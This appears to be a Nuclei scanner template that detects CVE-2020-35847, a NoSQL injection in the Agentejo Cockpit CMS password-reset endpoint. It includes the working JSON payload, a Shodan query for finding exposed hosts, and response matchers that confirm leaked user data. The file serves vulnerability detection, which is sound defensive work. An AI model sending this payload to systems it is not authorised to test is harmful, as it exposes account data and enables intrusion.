id: CVE-2020-35847 info: name: Agentejo Cockpit <0.11.2 - NoSQL Injection author: dwisiswant0 severity: critical description: | Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller. reference: - https://swarm.ptsecurity.com/rce-cockpit-cms/ - https://nvd.nist.gov/vuln/detail/CVE-2020-35847 - https://getcockpit.com/ - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-35847 cwe-id: CWE-89 cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* epss-score: 0.80883 metadata: max-request: 1 verified: true shodan-query: http.favicon.hash:688609340 tags: cve,cve2020,nosqli,sqli,cockpit,injection http: - raw: - | POST /auth/requestreset HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "$func": "var_dump" } } - | POST /auth/requestreset HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "$func": "nonexistent_function" } } matchers-condition: and matchers: - type: regex part: body_1 regex: - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' - type: regex part: body_1 regex: - 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"' negative: true - type: regex part: body_2 regex: - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' negative: true